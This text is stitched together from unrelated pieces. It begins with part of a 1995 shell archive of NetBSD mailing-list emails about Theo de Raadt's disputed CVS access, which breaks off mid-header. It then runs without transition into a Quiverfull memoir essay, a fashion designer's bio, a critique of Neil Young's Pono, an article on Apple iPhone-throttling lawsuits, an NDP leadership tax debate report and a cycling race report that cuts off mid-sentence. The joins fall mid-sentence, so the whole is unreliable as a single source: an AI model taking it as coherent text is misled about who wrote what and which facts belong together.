'END-of-5' XReplied: Mon, 13 Mar 1995 14:28:07 -0700 XReplied: "Paul Kranenburg " XReplied: Mon, 13 Mar 1995 14:10:59 -0700 XReplied: "Paul Kranenburg " XReturn-Path: pk@cs.few.eur.nl XReturn-Path: XReceived: from cs.few.eur.nl (kaa.cs.few.eur.nl) by theos.com (4.1/tdr1.0) X id AA10988; Mon, 13 Mar 95 13:58:38 MST XReceived: by cs.few.eur.nl (5.67/EUR) X id AA15700; Mon, 13 Mar 95 21:58:39 +0100 XDate: Mon, 13 Mar 95 21:58:39 +0100 XFrom: Paul Kranenburg XMessage-Id: <9503132058.AA15700@cs.few.eur.nl> XTo: deraadt@theos.com X X> It is therefore VERY hard for me to get back up to talking about X> non-technical things. Such a hardline attitude has hurt my feelings X> too much. X> X> [..] X> And how would you characterize such a "normal contact"? X> XTalk about just technical things then, if you feel like it. I would Xappreciate that, and I'm sure others would too. X X X> I'm still shocked that anyone should be at all annoyed or even worried X> that I did a scsi driver for kicks, for myself and for Chuck. There X> isn't any reason why I should have let you know -- really. I did it X> for my own pleasure, and at this stage in the game the diffs between X> what I have in my tree are so large that it might as well be a X> different tree. I seriously did consider creating a new *BSD X> distribution just over a month ago, but bandwidth limits me. Have you X> forgotten why I work on this stuff? For fun. I cannot believe anyone X> was foolish enough to expect I'd tell them about something I was X> writing for fun. X> XAnd what do you think _I_ do it for? For fun. Why do you think I excepted Xbeing port-master now, while I'm already swamped with other work? Because I Xcare, and like to see NetBSD become a success. Nobody forces me. Neither Xdoes anybody force you or Chuck or anyone else. You either feel like Xcontributing or you don't. If you are, then I feel it is a natural Xconsequence to let the port-master do a little bit of co-ordinating... XApperently, if such co-ordination is temporarily ineffective, for whatever Xreason, people sometimes do come down inappropriately hard on eachother. (sigh) X X> [...] X> I don't mean to be rude, but I must be direct -- how could you even X> have stood by and let such a thing happen? X> X XI'll be direct too: don't indulge yourself into thinking that "core" or Xanyone else is ganging up against you. It is simply not true. I don't Xfeel like analyzing everything that's happened, again. What I *do* know Xis that it's possible to draw a line and start again and hope for the best. XAnd I can say this with some authority 'cause I've had to so myself in Xthe past... X END-of-5 echo x - 6 sed's/^X//' >6 << 'END-of-6' XReturn-Path: owner-port-sparc@NetBSD.ORG XReturn-Path: XReceived: from pain.lcs.mit.edu by theos.com (4.1/tdr1.0) X id AA13003; Thu, 20 Apr 95 12:26:11 MDT XReceived: (from daemon@localhost) by pain.lcs.mit.edu (8.6.9/8.6.9) id NAA11422 for port-sparc-outgoing; Thu, 20 Apr 1995 13:05:58 -0400 XReceived: from duality.gnu.ai.mit.edu by pain.lcs.mit.edu (8.6.9/8.6.9) with ESMTP id NAA11412 for ; Thu, 20 Apr 1995 13:05:46 -0400 XReceived: (from mycroft@localhost) by duality.gnu.ai.mit.edu (8.6.10/8.6.10) id NAA09242; Thu, 20 Apr 1995 13:05:37 -0400 XDate: Thu, 20 Apr 1995 13:05:37 -0400 XMessage-Id: <199504201705.NAA09242@duality.gnu.ai.mit.edu> XFrom: "Charles M. Hannum" XTo: johns@cs.umr.edu XCc: port-sparc@NetBSD.ORG XIn-Reply-To: <199504201639.LAA01874@orion.cs.umr.edu> (message from John Stone on Thu, 20 Apr 1995 11:39:45 -0500 (CDT)) XSubject: Re: Sparc 20? XSender: owner-port-sparc@NetBSD.ORG XPrecedence: list XX-Loop: port-sparc@NetBSD.ORG X X X Does anyone else even _care_ about having working 4/x00 code??? X XCertainly. However, there's a reason Theo doesn't have direct access Xto the CVS tree, and it's not appropriate to discuss it publically. X END-of-6 echo x - 7 sed's/^X//' >7 << 'END-of-7' XReturn-Path: owner-port-sparc@NetBSD.ORG XReturn-Path: XReceived: from pain.lcs.mit.edu by theos.com (4.1/tdr1.0) X id AA13676; Thu, 20 Apr 95 13:45:21 MDT XReceived: (from daemon@localhost) by pain.lcs.mit.edu (8.6.9/8.6.9) id OAA11739 for port-sparc-outgoing; Thu, 20 Apr 1995 14:15:11 -0400 XReceived: from cs.few.eur.nl by pain.lcs.mit.edu (8.6.9/8.6.9) with SMTP id OAA11735 for ; Thu, 20 Apr 1995 14:15:03 -0400 XReceived: by cs.few.eur.nl (5.67/EUR) X id AA21100; Thu, 20 Apr 95 20:14:59 +0200 XDate: Thu, 20 Apr 95 20:14:59 +0200 XFrom: Paul Kranenburg XMessage-Id: <9504201814.AA21100@cs.few.eur.nl> XTo: port-sparc@NetBSD.ORG, johns@cs.umr.edu XSubject: Re: Sparc 20? XSender: owner-port-sparc@NetBSD.ORG XPrecedence: list XX-Loop: port-sparc@NetBSD.ORG X X> Does anyone else even _care_ about having working 4/x00 code??? X XI certainly care. Just make it available.. X X> So there it is. Flame me if you must, but after spending a TON of my time X> helping debug, test, and write fixes for the 4/x00 machines, I want to X> see it in the tree! X XAgain, I'd be perfectly happy to put your contributions in the tree, and Xthere are ways to get them there: there's the port-sparc mailing list Xand portmaster's email address to name just two. Now, it's just possible Xthat those aren't really practical for the stuff you have at hand. In Xthat case we'll have to think of something else. I'll be in touch. END-of-7 echo x - 8 sed's/^X//' >8 << 'END-of-8' XReplied: Thu, 20 Apr 1995 15:32:44 -0600 XReplied: "Paul Kranenburg johns@cs.umr.edu, chuck@theos.com, deraadt@theos.com" XReturn-Path: pk@cs.few.eur.nl XReturn-Path: XReceived: from cs.few.eur.nl (kaa.cs.few.eur.nl) by theos.com (4.1/tdr1.0) X id AA13746; Thu, 20 Apr 95 14:03:17 MDT XReceived: by cs.few.eur.nl (5.67/EUR) X id AA02587; Thu, 20 Apr 95 22:03:22 +0200 XDate: Thu, 20 Apr 95 22:03:22 +0200 XFrom: Paul Kranenburg XMessage-Id: <9504202003.AA02587@cs.few.eur.nl> XTo: johns@cs.umr.edu XSubject: your 4/100 code XCc: chuck@theos.com, deraadt@theos.com X X XTo follow up on this: do you have suggestions to get this rolling? X XOne to start with: I can set up an account on my NetBSD/sparc machine for Xyou and Chuck (Theo already has one) with access to the local source tree; Xthat way, you can patch things yourself and easily signal me about them. XIt saves you from making diffs and saves me from having to apply them. X X-pk END-of-8 echo x - 9 sed's/^X//' >9 << 'END-of-9' XReturn-Path: deraadt@theos.com XReturn-Path: XReceived: from localhost.theos.com by theos.com (4.1/tdr1.0) X id AA14348; Thu, 20 Apr 95 15:56:55 MDT XMessage-Id: <9504202156.AA14348@theos.com> XTo: Theo de Raadt XCc: Paul Kranenburg, johns@cs.umr.edu, chuck@theos.com XSubject: Re: your 4/100 code XIn-Reply-To: Your message of "Thu, 20 Apr 1995 15:32:44 MDT." X <9504202132.AA14145@theos.com> XX-Copyright: (C) 1995 Theo de Raadt. Forwarding not permitted without prior permission. XDate: Thu, 20 Apr 1995 15:56:54 -0600 XFrom: Theo de Raadt X X> > To follow up on this: do you have suggestions to get this rolling? X> > X> > One to start with: I can set up an account on my NetBSD/sparc machine for X> > you and Chuck (Theo already has one) with access to the local source tree; X> > that way, you can patch things yourself and easily signal me about them. X> > It saves you from making diffs and saves me from having to apply them. X> X> Paul, I want CVS access on sun-lamp. X XThey key is that I've been asking for "cvs log", and "cvs diff" access Xfor quite some time now. That is what I need. And once those are Xgiven, I might as well be given "cvs commit" access. X XI am really surprised that you would offer so little after 3 months of Xtalking about and around this. END-of-9 echo x - 10 sed's/^X//' >10 << 'END-of-10' XReturn-Path: owner-port-sparc@NetBSD.ORG XReturn-Path: XReceived: from pain.lcs.mit.edu by theos.com (4.1/tdr1.0) X id AA15886; Thu, 20 Apr 95 19:37:39 MDT XReceived: (from daemon@localhost) by pain.lcs.mit.edu (8.6.9/8.6.9) id TAA15941 for port-sparc-outgoing; Thu, 20 Apr 1995 19:18:31 -0400 XReceived: from duality.gnu.ai.mit.edu by pain.lcs.mit.edu (8.6.9/8.6.9) with ESMTP id TAA15905 for ; Thu, 20 Apr 1995 19:17:56 -0400 XReceived: (from mycroft@localhost) by duality.gnu.ai.mit.edu (8.6.10/8.6.10) id TAA10878; Thu, 20 Apr 1995 19:17:48 -0400 XDate: Thu, 20 Apr 1995 19:17:48 -0400 XMessage-Id: <199504202317.TAA10878@duality.gnu.ai.mit.edu> XFrom: "Charles M. Hannum" XTo: rhealey@kas.helios.mn.org XCc: port-sparc@NetBSD.ORG XIn-Reply-To: <199504202201.RAA05385@kas.helios.mn.org> (rhealey@kas.helios.mn.org) XSubject: Re: Sparc 20? XSender: owner-port-sparc@NetBSD.ORG XPrecedence: list XX-Loop: port-sparc@NetBSD.ORG X X X > Does anyone else even _care_ about having working 4/x00 code??? X > X Yes, there are probably quite a few of us out here that X could make use of it. X X > Certainly. However, there's a reason Theo doesn't have direct access X > to the CVS tree, and it's not appropriate to discuss it publically. X > X [...] X X Just my insignificant little opinion... Let's put it in and work X with it like we do on all the other ports! That's what NetBSD is X all about, or at least I thought that's what NetBSD is about. X XYou're confusing two issues. Theo does not currently have direct Xaccess to the CVS tree, but he has always been welcome to contribute Xto NetBSD, if he so chooses. X END-of-10 echo x - 11 sed's/^X//' >11 << 'END-of-11' XReturn-Path: owner-port-sparc@NetBSD.ORG XReturn-Path: XReceived: from pain.lcs.mit.edu by theos.com (4.1/tdr1.0) X id AA15989; Thu, 20 Apr 95 19:49:31 MDT XReceived: (from daemon@localhost) by pain.lcs.mit.edu (8.6.9/8.6.9) id UAA16822 for port-sparc-outgoing; Thu, 20 Apr 1995 20:16:04 -0400 XReceived: from duality.gnu.ai.mit.edu by pain.lcs.mit.edu (8.6.9/8.6.9) with ESMTP id UAA16818 for ; Thu, 20 Apr 1995 20:16:01 -0400 XReceived: (from mycroft@localhost) by duality.gnu.ai.mit.edu (8.6.10/8.6.10) id UAA11247; Thu, 20 Apr 1995 20:15:47 -0400 XDate: Thu, 20 Apr 1995 20:15:47 -0400 XMessage-Id: <199504210015.UAA11247@duality.gnu.ai.mit.edu> XFrom: "Charles M. Hannum" XTo: miguel@roxanne.nuclecu.unam.mx XCc: port-sparc@NetBSD.ORG XSubject: Re: 4/X00 support from theo (Was: Sparc 20?) XSender: owner-port-sparc@NetBSD.ORG XPrecedence: list XX-Loop: port-sparc@NetBSD.ORG X X X [...] to the people that want Theo back on the developement of X NetBSD, [...] X XI think that sums up the misunderstanding here. We have *no* Xobjection to Theo contributing to NetBSD. We never have. We were Xquite explicit about this in our contact with Theo. The only person Xwho needs to decide whether and how Theo will contribute to NetBSD is XTheo himself. X X From a couple a messages I received to my request of knowing why X the NetBSD core team did not let Theo had access to the CVS tree, X it seems like the core team of the NetBSD took the decision of X leaving Theo out of the developement group because he was being X rude with other people related to NetBSD and because it was X "damaging to the project" in terms of social relationships. X X1) He is explicitly *not* excluded from the `development group'. The Xway most people contribute to the project is by sending changes to the X`maintainer' of the code they've worked on, or submitting them with X`send-pr', and he's welcome to do the same. X X2) Our action (which was actually several months ago) had nothing to Xdo with `social relationships'. X X The free software world is already too fragmented to lose a good X programmer just because he was not nice with other people (and as X I understand Theo was being bothered constantly by the user that X complained about the rudeness of Theo). X X3) It was not a single user, or a single incident, and it occured over Xa long period of time. X X If you don't want Theo as an official X speaker of the NetBSD team, it's should be ok for most people on X this list, just gave him access to the source tree. X X4) He does have access to the source tree, in the same way as most Xother contributors. X X XI think it's reasonably clear that only people in the `core' group Xknow the details of this, and we consider much of the information to Xbe confidential. X END-of-11 echo x - 12 sed's/^X//' >12 << 'END-of-12' XReturn-Path: owner-port-sparc@NetBSD.ORG XReturn-Path: XReceived: from pain.lcs.mit.edu by theos.com (4.1/tdr1.0) X id AA15853; Thu, 20 Apr 95 19:29:07 MDT XReceived: (from daemon@localhost) by pain.lcs.mit.edu (8.6.9/8.6.9) id UAA16960 for port-sparc-outgoing; Thu, 20 Apr 1995 20:31:43 -0400 XReceived: from duality.gnu.ai.mit.edu by pain.lcs.mit.edu (8.6.9/8.6.9) with ESMTP id UAA16956 for ; Thu, 20 Apr 1995 20:31:41 -0400 XReceived: (from mycroft@localhost) by duality.gnu.ai.mit.edu (8.6.10/8.6.10) id UAA11300; Thu, 20 Apr 1995 20:31:39 -0400 XDate: Thu, 20 Apr 1995 20:31:39 -0400 XMessage-Id: <199504210031.UAA11300@duality.gnu.ai.mit.edu> XFrom: "Charles M. Hannum" XTo: port-sparc@NetBSD.ORG XSubject: Read me! XSender: owner-port-sparc@NetBSD.ORG XPrecedence: list XX-Loop: port-sparc@NetBSD.ORG X X XPlease note that the description of this list is: X X Technical discussion regarding NetBSD/sparc X XDiscussion not directly related to the NetBSD/sparc port and/or not Xtechnically oriented is not appropriate, and should be taken Xelsewhere. X XIn particular, if you have questions about something the `core' group Xhas done, you should mail them to `core@netbsd.org'. X END-of-12 echo x - 13 sed's/^X//' >13 << 'END-of-13' XTo: cgd@netbsd.org XX-Copyright: (C) 1995 Theo de Raadt. Forwarding not permitted without prior permission. XSubject: ypbind hack XDate: Fri, 21 Apr 1995 00:12:28 -0600 XFrom: Theo de Raadt X Xplease send me the diff for that ypbind hack. Xthanks END-of-13 echo x - 14 sed's/^X//' >14 << 'END-of-14' XTo: Chris G Demetriou XSubject: Re: ypbind hack XIn-reply-to: Your message of "Fri, 21 Apr 1995 02:19:23 EDT." X <9504210620.AA17430@theos.com> XX-Copyright: (C) 1995 Theo de Raadt. Forwarding not permitted without prior permission. XDate: Fri |
izes and motivates Tea Party Republicans like Rick Perry and Michele Bachmann to work tirelessly to implement the “pro-family” theocratic agenda into every aspect of American society: not only in politics, but religion, family, media, education, business, and entertainment.
Fundamentalist Christians are convinced that contemporary American society is the World’s Most Spectacular Display of hideously mutated, diseased and anomalous freaks. ”Step right up folks!” the preacher yells, “and witness a grotesque parade of ho-mo-sex-uals, lesbians, Wiccans, radical feminists, godless liberals, secular humanists, and …” (congregation gasps!) “Muslim extremists!!”
Simultaneously fascinated and horrified, respectable religious parents scramble to shield their innocent children’s eyes and ears from the depravity and corruption of “The World.” They homeschool and form special Chastity and Creation Science clubs designed to insulate and isolate their vulnerable young from the miscreants and most depraved elements of popular culture.
It’s completely understandable and normal for preteens to create imaginary worlds — their own private, safe hideout where they can dream of nobility, of rising above and doing so much better than the clowns running the Big Top’s Museum of Mutantstrosities. The grown-ups watch in silent, knowing amusement as kids disavow their relatives as “psychos” and “bozos.”
But when otherwise responsible, Christian adults in recent years set out on a mission to create a radically distinct way of life-based on “biblical family values,” the resultant countercultural movement is known as “Quiverfull” has become an all-too-real Hall of Mirrors horror show.
In my own life, perpetual pregnancies destroyed my health, and my indiscriminate acquiescence to my husband’s every whim transformed him from a loving father into a tantrum-throwing tyrant. Burnout and disillusionment led to abuse, neglect, family disintegration and a particularly nasty divorce.
When the dust settled, I took a good look at myself in the mirror. I could no longer deny the strong family resemblance — I saw my mother in my own face staring back at me. After all those years of fighting and denial, I had to finally accept the fact that I really am one of them — I belong to these crazy people. I, too, am a conspicuous oddity — a bizarre spectacle and an embarrassment to my own noble children.
Funny thing is … these days, I don’t mind so much being associated with my misfit clan of circus freaks. Life experience has given me perspective and a deep appreciation for the inevitable realities and desperate circumstances which deformed and mutated Mom and the rest of us into shocking and extraordinary creatures worthy of society’s disquietude and awe.
Black market adoption fantasies and youthful idealism are important wayposts on the journey to adulthood. Rebellion against blatant injustice, hypocrisy, moral compromise and the myriad of other common grown-up failure is a healthy manifestation of a kid’s personal power and strong moral agency. Arrogant and annoying, yes — but in moments of truth we have to admit, the kid’s got a point.
Society sucks. Bigotry, racism, inequity, corruption, greed, depravity, malevolence, and all manner of evil abound. Let’s just face the fact that in many ways, the contemporary American social and political scene has devolved to become the World’s Greatest Freak Show.
No wonder Tea Party Patriot families like the Bates and the Duggars escape into their own personal fantasy-land.
Ironically, with maturity comes humility — along with a profound sense of connection and belonging to that wacky bunch of buffoons who share our DNA. We see our people with new eyes. Sure, Grandma’s got a beard and Uncle Stan is a charlatan — Aunt Betty’s such a lunatic, she may as well have two heads. But in the end, they’re all we’ve got. That perfect, royal family whom we imagined searched frantically for us for years and never gave up hope that one day we would return to our true home? They’re not real. Cousin Roger is real — never mind that he doesn’t have a lick of sense and the only thing he’s good for is shoveling elephant shit — he’s the one who truly understands you, knows all about you, and loves you anyway.
Tea Party family values are the fundamentalists’ desperate attempt to deny their own imperfections, vulnerability, and their inescapable mortality. Sure it hurts that they look down on us regular folk — those of us who make no pretense of actually having our acts together — they avoid being seen out in public with us, they disown us, and they shrink away in fear of catching our cooties.
But take heart — perhaps they’ll grow up.
I did. Not saying I don’t still sometimes get all starry-eyed and visionary over the possibility of influencing our society for the better — I’ve got a bit of spunk left in me and I’m doing what I can to stick it to The Man. But I no longer think of myself as qualitatively different or “other” than all the rest of my fellow human beings — my family. My freakish, crazy, wonderfully imperfect people.
I don’t believe in God anymore, but I still have faith. I have hope and I trust that collectively, we’re all gonna make it — we are learning from our mistakes and growing more compassionate. Our shared experiences make us wiser and I have confidence that better times are just ahead.Andre opened up his first store in San Francisco and designed all type of garments from active wear to classic evening wear, and specializes in elegant wedding and couture gowns. He only selects the best luxurious fabrics on the market such as satin, velvet, chiffon, cashmere, knits and the crochet with bread-work materials that come from Asia and Europe. As a Fashion Designer, Soriano highly believes in giving back to the community where he joined and conducted non-profit organizations to benefit fundraiser for HIV/AIDS orphans living in Africa, City College of San Francisco College Fund and other charities.
Andre Soriano’s Vision and fashion interpretation is inspired by old Hollywood glamour for today’s women and men in mind. He has embraced the idea that “fashion is freedom.” His designs have been featured in multiple publications, including Italian Vogue. Recently being a part of Styled to Rock, a Fashion Reality Show ‘Executive Produced’ by Robyn Rihanna Fenty gave him an exposure of having a celebrity wear his clothes, which has allowed him the means to expand his clothing line beyond San Diego. His dresses have been featured on Kaya Jones, Aisha Tyler and many more.
The house of Andre Soriano has elevated itself to not only match but exceed industry expectations in a highly-competitive manner, his clients able to expect the same quality and exceptional attention to detail in the demanding world of high-end fashion as they would any of the most notorious fashion houses of New York, Los Angeles, Paris, London, Milan and Tokyo.My inbox has been filling up with critics saying gotcha, implying my endorsement of the hi-res streaming service Wimp is a belated acknowledgement of the superiority and inevitability of Pono.
Nothing could be further from the truth.
Wimp is a new technology service that will probably be plowed under as its competitors embrace hi-fi streaming. Pono is merch. Never has something so minor received such outsized publicity.
Yes, 18,220 people pledged Pono. If an album sold that many copies, you never would have heard of it.
But in our money-focused culture, he who can dazzle us with a figure — in this case, six-odd-million dollars — gets all the press, and an ignorant public blindly accepts it, just like they believe Miley Cyrus is a desirable star, even though she can’t sell out arenas.
So what Neil Young has done is demonstrate that star power can get lemmings to donate, sight unseen. This is even better than selling platinum tickets to shows. In this case, people are putting up their money and may not get anything. Then again, what they may get is not what they expect, just like at a Neil Young concert, wherein the master is famous for delivering the unexpected, and often
the unwanted.
Related BottleRock Taps Neil Young, Imagine Dragons, Mumford, Pharrell as 2019 Headliners Neil Young Officially Launches Archival Subscription Site After Yearlong Beta Test
That’s right, Neil Young is selling a high-priced souvenir, and has gotten some of his buddies to sell their names too. What you’re buying here is a high-priced paperweight. Because it sure won’t be comfortable in your pocket.
And then comes the issue of the recordings …
Neil is selling files while Apple is cringing, its iTunes Music Store suddenly faltering, with people moving to streaming. But once again, the same people embracing files are pooh-poohing streaming revenue, when the truth is that some acts are doing quite well, and the more people embrace the format, the more money will be generated, just like the mobile phone business. But the public, and especially the music press, embraces the future after the unwashed masses anoint it. CDs were gonna endure until your grandma started trading on Napster. MySpace made Tila Tequila a star, and then the service was overrun by Facebook, but Justin Timberlake was gonna bring MySpace back! As if JT knows anything about tech. But he is a star, so his efforts get press; without him, no story.
And without Neil Young’s Kickstarter consultant, his effort on the site would not have been so successful. Yup, he hired somebody who made sure his offering popped.
Yes, the world is manipulated. But the truth is Neil Young is gonna sell files, which are dying, at old CD prices — more than $10 — and you think this is big business?
Then you’re probably opening a record store!
And where is he going to get these high-res files? The labels don’t have them; they just have the CD masters. Is he going to get every act in creation to go back to Pro Tools and EQ them and deliver them? And who is going to pay for them to service the not even 20,000 people who pledged, who may not even buy them? And can you even hear the difference? Many experts believe you can’t. That CD quality is good enough, that it’s all in the mastering.
But that’s not the point. Neil Young is demonstrating nothing other than star power here. If there are artifacts to be heard at better than CD quality, they’ll eventually be streamed. Not because Neil did this Pono Kickstarter, but because increased bandwidth will allow it.
Meanwhile, the public keeps streaming on the world’s music service, YouTube, which pays even less than Spotify, et al. But you don’t see musicians bitching about that. And as a result, their fans are not complaining about it either.
If only these stars used their power for good.Ever since a Geekbench developer shared data proving that recent iOS updates led to slower performance on multiple iPhone models, it has been nothing but headaches for Apple. After the company admitted its role in the change—the reasoning was to help conserve battery life—the floodgates have opened for critics and now, lawsuits. At publish, over nine class action suits have already been filed. The worst of them? As reported by Patently Apple, one woman in California has filed a lawsuit demanding $999 billion in damages. Pricey!
For many, it's not that the updates slowed performance, but that the company's lack of disclosure gives weight to a theory—baseless or not—that many owners have expressed over the years: Apple deliberately makes your iPhone run worse in hopes that you'll upgrade to a newer model. The lawsuits, including the 12-figure behemoth, accuse the tech giant of "fraud through concealment" and "unfair competition" as it relates to California's business code.
Apple, to its credit, is taking the situation seriously. Not a company known for its apologies (still waiting for mine on the headphone jack), it did exactly that—and pushed back against any underhanded allegations—in a letter to customers posted December 28:
We’ve been hearing feedback from our customers about the way we handle performance for iPhones with older batteries and how we have communicated that process. We know that some of you feel Apple has let you down. We apologize. There’s been a lot of misunderstanding about this issue, so we would like to clarify and let you know about some changes we’re making.
First and foremost, we have never — and would never — do anything to intentionally shorten the life of any Apple product, or degrade the user experience to drive customer upgrades. Our goal has always been to create products that our customers love, and making iPhones last as long as possible is an important part of that.
In addition to making amends and clarifying its position, Apple is also slashing the price of battery replacement to $29, a $50 decrease from the normal price tag. The discount will remain in place for a year, so keep that in mind for next year's holiday bonus.A federal NDP leadership hopeful says Liberal proposals to reform small business taxes are akin to "trying to kill a fly with a hammer," while most of his rivals suggest they back the ideas on principle.
At a town hall event hosted by the Canadian Nurses Association Wednesday, the leadership race's four candidates were asked about proposed changes that have outraged advocacy groups such as the Canadian Federation of Independent Business and Canadian Medical Association, as well as privately incorporated farmers and other professionals.
Finance Minister Bill Morneau appears committed to scrapping three loopholes often enjoyed by small business owners who incorporate their companies in order to pay lower taxes: so-called "income sprinkling" to family members, the conversion of private income into capital gains, and the use of passive investment portfolios.
'Catching the good with the bad'
Quebec MP Guy Caron focused on the "income splitting element" of the proposed reforms.
"I do believe that we need to address the issue of aggressive tax avoidance. That's being done in that matter," he said. "But it's not in all cases."
Caron said many doctors incorporate because they act like small businesses, which includes being responsible for paying staff and office expenditures.
But "in some of the cases, they enjoy those benefits without really being a small business," he said.
"The way that the federal government addresses it right now, I do believe, is trying to kill a fly with a hammer in the sense that we are going to be... reaching many sectors of society and catching the good with the bad. And that's not the approach that we should be looking at."
Caron says he wants a more fundamental rethink of the tax system that will truly close loopholes. Caron has already unveiled a number of policies that he thinks will help crack down on tax evasion.
Watch the full Facebook video of the event below. The discussion of Liberal tax proposals begins at around the 1:16:00 mark:
Ontario MP Charlie Angus, participating via video conference, said ordinary Canadians are already paying their fair share of taxes and not getting any breaks.
"And yet we see these corporate structures being set up to create family corporations to not have to pay their fair share. It's not right," Angus said. "And so there is certainly a lot of whining right now in the media from certain interest groups who say it's not fair to them. Well, hey, everybody else is paying their fair share."
Angus also threw a shot at Morneau, saying it is ridiculous the finance minister is "suddenly Mr. Class Warrior" when he has kept in place the "$800-million corporate stock option loopholes" that permit deductions, mostly from wealthy CEOs, to be taxed at half the rate. Angus also accused the government of failing to crack down on overseas tax havens.
There is certainly a lot of whining right now in the media from certain interest groups who say it's not fair to them. Well, hey, everybody else is paying their fair share. Charlie Angus
Ontario MPP Jagmeet Singh, who also appeared on live video, said he agreed that everyone in the country, particularly Canada's wealthiest people and corporations, should pay what is fair in order to fight against inequality and protect social programs.
He also expressed concerns about small businesses being used as "shelters" for the rich.
"We need to ensure that we create an economy that develops small businesses but ensures that everyone pays their fair share," Singh said. "And particularly we need to ensure that there is no loophole for high-income earners to not pay their fair share."
Manitoba MP Niki Ashton touted what she called her own bold platform on tax reform, rooted in "making the rich and powerful corporations" pay more. Ashton pledged to hike income taxes on the wealthiest five per cent and return the corporate tax rate to pre-Stephen Harper era levels.
"While we welcome the federal government's current interest in tax reform, we certainly believe that we need to go much further in ensuring that Canada even harks back to a more fair time when it comes to taxation for all," she said.
Though Conservatives are hammering the potential measures as a Liberal tax grab, Morneau told reporters this week that they are needed to avoid "two classes of Canadians" from emerging, with "inappropriate" benefits for the privileged few.
Speaking in Vancouver Tuesday, Morneau said there has been a 300 per cent increase in the incorporation of professionals over the last 15 years. Small business owners in Canada already pay the lowest income tax of all G7 countries, he said.
The finance minister was also unmoved by arguments that, in contrast to salaried workers, small business owners take on risks that ought to make them entitled to the perks. The CMA has also noted that most incorporated doctors do not get the same benefits and pension plans as salaried workers.
The Canadian Nurses Association, however, has come out in favour of Morneau's proposals.
In a statement released Tuesday, CNA president Barb Shellian — who moderated the NDP leadership event — commended Morneau's "aim to achieve federal tax policy that treats all sources of income similarly and equitably, based on principles of social justice."
With previous files from Althia Raj and The Canadian PressGorge Roubaix returned for its third running at the end of March, 2015, as racers and gravel grinders alike amassed in The Dalles, Oregon – a small, 15,000-person city nestled in the Columbia River Gorge at the end of the Oregon Trail, 85 miles due east of Portland and 36 miles north of Mt Hood.Gorge Roubaix features two big-ass races with plenty of climbing and copious dirt/gravel, as well as a new non-competitive “gravel grinder” event on Sunday. Day 1 ranges between 32 miles long with 2,500 feet of elevation gain for beginners and 62 miles and 5,400 feet for Elites, while Day 2 offers 50- and 75-mile courses with 3,400 and 6,120 feet of elevation, respectively.“Gravel grinder” may not be cycling's most appealing ride type description, and “Roubaix” one of the sport's biggest misnomers. That iconic race stretching from Compiegne (just north of Paris) to the northern French city of Roubaix is the root of the plethora of “Roubaix” events: basically any road course that incorporates sections of dirt, sand, gravel or cobbles has this word pasted onto its title. But the appeal of gravel grinders is undeniable, and riding and racing on gravel surfaces has become one of the biggest trends in the sport.Gravel and dirt roads reward riders with dramatically reduced car traffic and access to remote areas otherwise unreachable. Riding – let alone racing – along these routes has an element of the heroic. It's just damned hard. Leave your weight weenie gear behind, make sure what you run can stand up to lots of abuse (including your body parts), and pay particular attention to your wheels and tires.Chad Sperry and his Breakaway Promotions team have put on some of the biggest races in the Northwest, including the Mount Hood Classic, Cascade Cycling Classic, Tour of Utah and a whole bunch of USA Cycling road and mountain bike National Championships. When Sperry & co. handle an event, racers know that it's worth making the trip – whatever the destination.And The Dalles is Sperry's own backyard. He's ridden the hell out of these roads himself, and he knows how to put on a world-class show. As he told me, “Gorge Roubaix is my way to give back to the community, to show off the amazing riding we have here, and to encourage people to come here to ride more.”The Dalles and Wasco County are making a concerted effort to promote cycling, according to Sperry. And he sees the appeal, too. “Summer is not the time to be out here cycling – it gets blazing hot. But February through May, I will put The Dalles against anybody in the Northwest,” said Sperry. “We have the warmer temperatures coming out of Portland with the marine climate, but we are also in a rain shadow here. We're averaging 12 inches of rain a year; Portland could pull that off in a wet month. And although paved options are limited, by taking advantage of the almost limitless array of 100 to 150-year-old gravel and dirt farming roads out here, we can just blow the lid off of the opportunities for unbelievable loops and rides. And there's no one out there – you can hit some of these roads and not see a single vehicle for two- to three-hour stretches.”What does it take to prevail at Gorge Roubaix? In traditional, dated cycling parlance, it's a classic “hard man's race” – we'll call it a warrior's event. It's not just a battle against competitors and climbs, but against rocks, bumps, vibrations, potholes, loose corners, and wind. Of course it's tough physically, but mentally you just can't let up either. Constantly scan the road ahead for sharp rock-fins that will end your day as you hurtle along, glued to the wheel in front of you, trying to catch those damned skinny climbers who dropped you on the way up. Much like the way a cyclocross race is a meeting point between roadies, cross country racers, ’cross specialists and even enduro people, Gorge Roubaix brings out an eclectic mix.The races are, at their heart, road events. Team tactics play a role, but the first day features enough concentrated climbing – including one 25-minute pitch that's at least half gravel each lap – that the pure billy goats rise to the top and coalesce. Still, teamwork can be effective, as my Hosmer Chiropractic – RPM Mortgage team proved on the second day, taking the win and placing four riders in the top 10, with two on the podium.Being comfortable on dirt is critical – for maintaining traction on the climbs of the first day, but even more so for the super-fast, long dirt descents of Day 2. Mountain bikers and 'crossers swelled the ranks, with riders from all over the Northwest – Washington, B.C., Idaho and of course Oregon – making the trek to the rural, farm-surrounded community.Ned Overend – the 60-year-old superstar who won the first edition of the UCI XC World Championship back in 1990, just took home the first Fat Bike National Championship in March, 2015, and garnered a host of other national and world road, mountain, cyclocross and XTERRA titles in between – made the trip up to The Dalles and survived each whittling down of the field to eventually take fourth in the Elite race on Saturday.It was Bend resident and roadie climber Cameron Clark of Team Oregon who took the win, sprinting away from a small group. And 19-year-old youngster Adam Oliver, my teammate and a roadie destined for big things, took the big W on Day 2.Long time Giant Mountain bike pro and elite cyclocross racer Carl Decker showed up for his first ever gravel events, although he's been riding on all kinds of surfaces for eons. Heck, the guy even races rally cars with teammate and former MTB Olympian Adam Craig in their “down time,” and back in 2005 Decker brought home the Elite National Road Championship. Decker took hard-fought 12th and 6th-place finishes Saturday and Sunday, respectively.Elite cyclocrosser and mountain biker Erik Tonkin made his presence known too, boldly venturing off the front in several breakaway bids on Day 1.The women's races emphasized dirt handling as well, with Pro mountain bikers claiming the top podium steps each day. Bend's Serena Bishop Gordon won from a small group the first day, and Portland's Megan Chinburg dominated the second by creating a substantial gap via a hard downhill attack on the dirt leading to a 25-mile solo break: victory in amazing style. But roadie Brenna Wrye-Simpson was on the podium both days, claiming a second and a third place and proving that skinny-tired folks can be in the mix, too.Equipment selection is always important, but adverse conditions make this even more crucial. Broken stuff is really slow. And like the variety of competitors who attend the Gorge Roubaix, one of the coolest things about these races is the blend of setups that people bring out – everything from full-on aero race bikes to disc brake cyclocross rigs to purpose-specific gravel steeds.Day 1 of Gorge Roubaix features plenty of gravel, but since it's almost all on climbs you're less likely to slice a tire, pinch a tube or taco a wheel. Day 